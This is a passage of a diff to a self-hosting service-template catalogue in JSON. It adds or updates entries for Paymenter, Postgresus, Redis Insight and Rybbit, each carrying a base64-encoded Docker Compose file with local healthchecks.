+        "compose": "c2VydmljZXM6CiAgcGF5bWVudGVyOgogICAgaW1hZ2U6ICdnaGNyLmlvL3BheW1lbnRlci9wYXltZW50ZXI6djEuNC41JwogICAgdm9sdW1lczoKICAgICAgLSAnYXBwX2xvZ3M6L2FwcC9zdG9yYWdlL2xvZ3MnCiAgICAgIC0gJ2V4dGVuc3Rpb25zOi9hcHAvZXh0ZW5zaW9ucycKICAgICAgLSAndGhlbWVzOi9hcHAvdGhlbWVzJwogICAgICAtICdhcHBfc3RvcmFnZTovYXBwL3N0b3JhZ2UvYXBwJwogICAgICAtICdhcHBfcHVibGljX3N0b3JhZ2U6L2FwcC9zdG9yYWdlL2FwcC9wdWJsaWMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgU0VSVklDRV9GUUROX1BBWU1FTlRFUjogJyR7U0VSVklDRV9GUUROX1BBWU1FTlRFUl84MH0nCiAgICAgIERCX0RBVEFCQVNFOiAnJHtNWVNRTF9EQVRBQkFTRTotcGF5bWVudGVyLWRifScKICAgICAgREJfUEFTU1dPUkQ6ICcke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICBEQl9VU0VSTkFNRTogJyR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgQVBQX0VOVjogcHJvZHVjdGlvbgogICAgICBDQUNIRV9TVE9SRTogcmVkaXMKICAgICAgU0VTU0lPTl9EUklWRVI6IHJlZGlzCiAgICAgIFFVRVVFX0NPTk5FQ1RJT046IHJlZGlzCiAgICAgIFJFRElTX0hPU1Q6IHJlZGlzCiAgICAgIFJFRElTX1VTRVJOQU1FOiBkZWZhdWx0CiAgICAgIFJFRElTX1BBU1NXT1JEOiAnJHtTRVJWSUNFX1BBU1NXT1JEXzY0X1JFRElTfScKICAgICAgREJfQ09OTkVDVElPTjogbWFyaWFkYgogICAgICBEQl9IT1NUOiBtYXJpYWRiCiAgICAgIERCX1BPUlQ6IDMzMDYKICAgICAgQVBQX0tFWTogJyR7U0VSVklDRV9CQVNFNjRfS0VZfScKICAgIGRlcGVuZHNfb246CiAgICAgIG1hcmlhZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX3N0YXJ0ZWQKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEuOCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3BheW1lbnRlcl9tYXJpYWRiX2RhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotcGF5bWVudGVyLWRifScKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaGVhbHRoY2hlY2suc2gKICAgICAgICAtICctLWNvbm5lY3QnCiAgICAgICAgLSAnLS1pbm5vZGJfaW5pdGlhbGl6ZWQnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6YWxwaW5lJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwo=",
         "tags": [
             "automation",
             "billing",
@@ -3375,6 +3418,19 @@
         "minversion": "0.0.0",
         "port": "9000"
     },
+    "postgresus": {
+        "documentation": "https://postgresus.com/#guide?utm_source=coolify.io",
+        "slogan": "Postgresus is a free, open source and self-hosted tool to backup PostgreSQL.",
+        "compose": "c2VydmljZXM6CiAgcG9zdGdyZXN1czoKICAgIGltYWdlOiAncm9zdGlzbGF2ZHVnaW4vcG9zdGdyZXN1czo3ZmI1OWJiNWQwMmZiYWY4NTZiMGJjZmM3YTA3ODY1NzU4MThiOTZmJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1BPU1RHUkVTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXN1cy1kYXRhOi9wb3N0Z3Jlc3VzLWRhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xTy0nCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo0MDA1L2FwaS92MS9zeXN0ZW0vaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUK",
+        "tags": [
+            "postgres",
+            "backup"
+        ],
+        "category": "devtools",
+        "logo": "svgs/postgresus.svg",
+        "minversion": "0.0.0",
+        "port": "4005"
+    },
     "postiz": {
         "documentation": "https://docs.postiz.com?utm_source=coolify.io",
         "slogan": "Open source social media scheduling tool.",
@@ -3600,7 +3656,7 @@
     "redis-insight": {
         "documentation": "https://redis.io/docs/latest/operate/redisinsight/?utm_source=coolify.io",
         "slogan": "Redis Insight lets you do both GUI- and CLI-based interactions in a fully-featured desktop GUI client.",
-        "compose": "c2VydmljZXM6CiAgcmVkaXNpbnNpZ2h0OgogICAgaW1hZ2U6ICdyZWRpcy9yZWRpc2luc2lnaHQ6Mi43MCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9SRURJU0lOU0lHSFRfNTU0MAogICAgICAtIFJJX0FQUF9IT1NUPTAuMC4wLjAKICAgICAgLSBSSV9BUFBfUE9SVD01NTQwCiAgICAgIC0gJ1JJX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9SSV9FTkNSWVBUSU9OX0tFWX0nCiAgICAgIC0gJ1JJX0xPR19MRVZFTD0ke1JJX0xPR19MRVZFTDotaW5mb30nCiAgICAgIC0gJ1JJX0ZJTEVTX0xPR0dFUj0ke1JJX0ZJTEVTX0xPR0dFUjotdHJ1ZX0nCiAgICAgIC0gJ1JJX1NURE9VVF9MT0dHRVI9JHtSSV9TVERPVVRfTE9HR0VSOi10cnVlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzX2luc2lnaHRfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo1NTQwJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCg==",
+        "compose": "c2VydmljZXM6CiAgcmVkaXNpbnNpZ2h0OgogICAgaW1hZ2U6ICdyZWRpcy9yZWRpc2luc2lnaHQ6Mi43MCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9SRURJU0lOU0lHSFRfNTU0MAogICAgICAtIFJJX0FQUF9IT1NUPTAuMC4wLjAKICAgICAgLSBSSV9BUFBfUE9SVD01NTQwCiAgICAgIC0gJ1JJX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9SSV9FTkNSWVBUSU9OX0tFWX0nCiAgICAgIC0gJ1JJX0xPR19MRVZFTD0ke1JJX0xPR19MRVZFTDotaW5mb30nCiAgICAgIC0gJ1JJX0ZJTEVTX0xPR0dFUj0ke1JJX0ZJTEVTX0xPR0dFUjotdHJ1ZX0nCiAgICAgIC0gJ1JJX1NURE9VVF9MT0dHRVI9JHtSSV9TVERPVVRfTE9HR0VSOi10cnVlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzX2luc2lnaHRfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzAuMC4wLjA6NTU0MC9hcGkvaGVhbHRoJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCg==",
         "tags": [
             "redis",
             "gui",
@@ -3664,7 +3720,7 @@
     "rybbit": {
         "documentation": "https://rybbit.io/docs?utm_source=coolify.io",
         "slogan": "Open-source, privacy-first web analytics.",
-        "compose": "c2VydmljZXM6CiAgcnliYml0OgogICAgaW1hZ2U6ICdnaGNyLmlvL3J5YmJpdC1pby9yeWJiaXQtY2xpZW50OnYxLjYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9SWUJCSVRfMzAwMgogICAgICAtIE5PREVfRU5WPXByb2R1Y3Rpb24KICAgICAgLSAnTkVYVF9QVUJMSUNfQkFDS0VORF9VUkw9JHtTRVJWSUNFX0ZRRE5fUllCQklUfScKICAgICAgLSAnTkVYVF9QVUJMSUNfRElTQUJMRV9TSUdOVVA9JHtESVNBQkxFX1NJR05VUDotZmFsc2V9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSByeWJiaXRfYmFja2VuZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICduYyAteiAxMjcuMC4wLjEgMzAwMicKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogIHJ5YmJpdF9iYWNrZW5kOgogICAgaW1hZ2U6ICdnaGNyLmlvL3J5YmJpdC1pby9yeWJiaXQtYmFja2VuZDp2MS42LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBOT0RFX0VOVj1wcm9kdWN0aW9uCiAgICAgIC0gVFJVU1RfUFJPWFk9dHJ1ZQogICAgICAtICdCQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9SWUJCSVR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQkVUVEVSX0FVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfNjRfQkFDS0VORH0nCiAgICAgIC0gJ0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9TSUdOVVA6LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9URUxFTUVUUlk9JHtESVNBQkxFX1RFTEVNRVRSWTotdHJ1ZX0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfSE9TVD1odHRwOi8vcnliYml0X2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7Q0xJQ0tIT1VTRV9VU0VSOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9EQj0ke0NMSUNLSE9VU0VfREI6LWFuYWx5dGljc30nCiAgICAgIC0gUE9TVEdSRVNfSE9TVD1yeWJiaXRfcG9zdGdyZXMKICAgICAgLSBQT1NUR1JFU19QT1JUPTU0MzIKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgZGVwZW5kc19vbjoKICAgICAgcnliYml0X2NsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcnliYml0X3Bvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAxL2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICByeWJiaXRfcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE3LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgcnliYml0X2NsaWNraG91c2U6CiAgICBpbWFnZTogJ2NsaWNraG91c2UvY2xpY2tob3VzZS1zZXJ2ZXI6MjUuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1hbmFseXRpY3N9JwogICAgICAtICdDTElDS0hPVVNFX1VTRVI9JHtDTElDS0hPVVNFX1VTRVI6LWRlZmF1bHR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgdm9sdW1lczoKICAgICAgLSAnY2xpY2tob3VzZV9kYXRhOi92YXIvbGliL2NsaWNraG91c2UnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2VuYWJsZV9qc29uLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9lbmFibGVfanNvbi54bWwKICAgICAgICBjb250ZW50OiAiPGNsaWNraG91c2U+XG4gICAgPHNldHRpbmdzPlxuICAgICAgICA8ZW5hYmxlX2pzb25fdHlwZT4xPC9lbmFibGVfanNvbl90eXBlPlxuICAgIDwvc2V0dGluZ3M+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL2NvbmZpZy5kL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgY29udGVudDogIjxjbGlja2hvdXNlPlxuICAgIDxsb2dnZXI+XG4gICAgICAgIDxsZXZlbD53YXJuaW5nPC9sZXZlbD5cbiAgICAgICAgPGNvbnNvbGU+dHJ1ZTwvY29uc29sZT5cbiAgICA8L2xvZ2dlcj5cbiAgICA8cXVlcnlfdGhyZWFkX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHF1ZXJ5X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHRleHRfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8dHJhY2VfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8bWV0cmljX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGFzeW5jaHJvbm91c19tZXRyaWNfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8c2Vzc2lvbl9sb2cgcmVtb3ZlPVwicmVtb3ZlXCIvPlxuICAgIDxwYXJ0X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGxhdGVuY3lfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8cHJvY2Vzc29yc19wcm9maWxlX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG48L2NsaWNraG91c2U+IgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9jbGlja2hvdXNlX2NvbmZpZy9uZXR3b3JrLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9uZXR3b3JrLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8bGlzdGVuX2hvc3Q+MC4wLjAuMDwvbGlzdGVuX2hvc3Q+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL3VzZXJfbG9nZ2luZy54bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvY2xpY2tob3VzZS1zZXJ2ZXIvY29uZmlnLmQvdXNlcl9sb2dnaW5nLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8cHJvZmlsZXM+XG4gICAgICAgIDxkZWZhdWx0PlxuICAgICAgICAgICAgPGxvZ19xdWVyaWVzPjA8L2xvZ19xdWVyaWVzPlxuICAgICAgICAgICAgPGxvZ19xdWVyeV90aHJlYWRzPjA8L2xvZ19xdWVyeV90aHJlYWRzPlxuICAgICAgICAgICAgPGxvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPjA8L2xvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPlxuICAgICAgICA8L2RlZmF1bHQ+XG4gICAgPC9wcm9maWxlcz5cbjwvY2xpY2tob3VzZT4iCg==",
+        "compose": "c2VydmljZXM6CiAgcnliYml0OgogICAgaW1hZ2U6ICdnaGNyLmlvL3J5YmJpdC1pby9yeWJiaXQtY2xpZW50OnYxLjYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9SWUJCSVRfMzAwMgogICAgICAtIE5PREVfRU5WPXByb2R1Y3Rpb24KICAgICAgLSAnTkVYVF9QVUJMSUNfQkFDS0VORF9VUkw9JHtTRVJWSUNFX0ZRRE5fUllCQklUfScKICAgICAgLSAnTkVYVF9QVUJMSUNfRElTQUJMRV9TSUdOVVA9JHtESVNBQkxFX1NJR05VUDotZmFsc2V9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSByeWJiaXRfYmFja2VuZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICduYyAteiAxMjcuMC4wLjEgMzAwMicKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogIHJ5YmJpdF9iYWNrZW5kOgogICAgaW1hZ2U6ICdnaGNyLmlvL3J5YmJpdC1pby9yeWJiaXQtYmFja2VuZDp2MS42LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBOT0RFX0VOVj1wcm9kdWN0aW9uCiAgICAgIC0gVFJVU1RfUFJPWFk9dHJ1ZQogICAgICAtICdCQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9SWUJCSVR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQkVUVEVSX0FVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfNjRfQkFDS0VORH0nCiAgICAgIC0gJ0RJU0FCTEVfU0lHTlVQPSR7RElTQUJMRV9TSUdOVVA6LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9URUxFTUVUUlk9JHtESVNBQkxFX1RFTEVNRVRSWTotdHJ1ZX0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfSE9TVD1odHRwOi8vcnliYml0X2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7Q0xJQ0tIT1VTRV9VU0VSOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9EQj0ke0NMSUNLSE9VU0VfREI6LWFuYWx5dGljc30nCiAgICAgIC0gUE9TVEdSRVNfSE9TVD1yeWJiaXRfcG9zdGdyZXMKICAgICAgLSBQT1NUR1JFU19QT1JUPTU0MzIKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgZGVwZW5kc19vbjoKICAgICAgcnliYml0X2NsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcnliYml0X3Bvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAxL2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICByeWJiaXRfcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE3LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotYW5hbHl0aWNzfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1BPU1RHUkVTX1VTRVI6LWZyb2d9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgcnliYml0X2NsaWNraG91c2U6CiAgICBpbWFnZTogJ2NsaWNraG91c2UvY2xpY2tob3VzZS1zZXJ2ZXI6MjUuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1hbmFseXRpY3N9JwogICAgICAtICdDTElDS0hPVVNFX1VTRVI9JHtDTElDS0hPVVNFX1VTRVI6LWRlZmF1bHR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgdm9sdW1lczoKICAgICAgLSAnY2xpY2tob3VzZV9kYXRhOi92YXIvbGliL2NsaWNraG91c2UnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2VuYWJsZV9qc29uLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9lbmFibGVfanNvbi54bWwKICAgICAgICBjb250ZW50OiAiPGNsaWNraG91c2U+XG4gICAgPHNldHRpbmdzPlxuICAgICAgICA8ZW5hYmxlX2pzb25fdHlwZT4xPC9lbmFibGVfanNvbl90eXBlPlxuICAgIDwvc2V0dGluZ3M+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL2NvbmZpZy5kL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgY29udGVudDogIjxjbGlja2hvdXNlPlxuICAgIDxsb2dnZXI+XG4gICAgICAgIDxsZXZlbD53YXJuaW5nPC9sZXZlbD5cbiAgICAgICAgPGNvbnNvbGU+dHJ1ZTwvY29uc29sZT5cbiAgICA8L2xvZ2dlcj5cbiAgICA8cXVlcnlfdGhyZWFkX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHF1ZXJ5X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHRleHRfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8dHJhY2VfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8bWV0cmljX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGFzeW5jaHJvbm91c19tZXRyaWNfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8c2Vzc2lvbl9sb2cgcmVtb3ZlPVwicmVtb3ZlXCIvPlxuICAgIDxwYXJ0X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGxhdGVuY3lfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8cHJvY2Vzc29yc19wcm9maWxlX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG48L2NsaWNraG91c2U+IgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9jbGlja2hvdXNlX2NvbmZpZy9uZXR3b3JrLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9uZXR3b3JrLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8bGlzdGVuX2hvc3Q+MC4wLjAuMDwvbGlzdGVuX2hvc3Q+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL3VzZXJfbG9nZ2luZy54bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvY2xpY2tob3VzZS1zZXJ2ZXIvY29uZmlnLmQvdXNlcl9sb2dnaW5nLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8cHJvZmlsZXM+XG4gICAgICAgIDxkZWZhdWx0PlxuICAgIC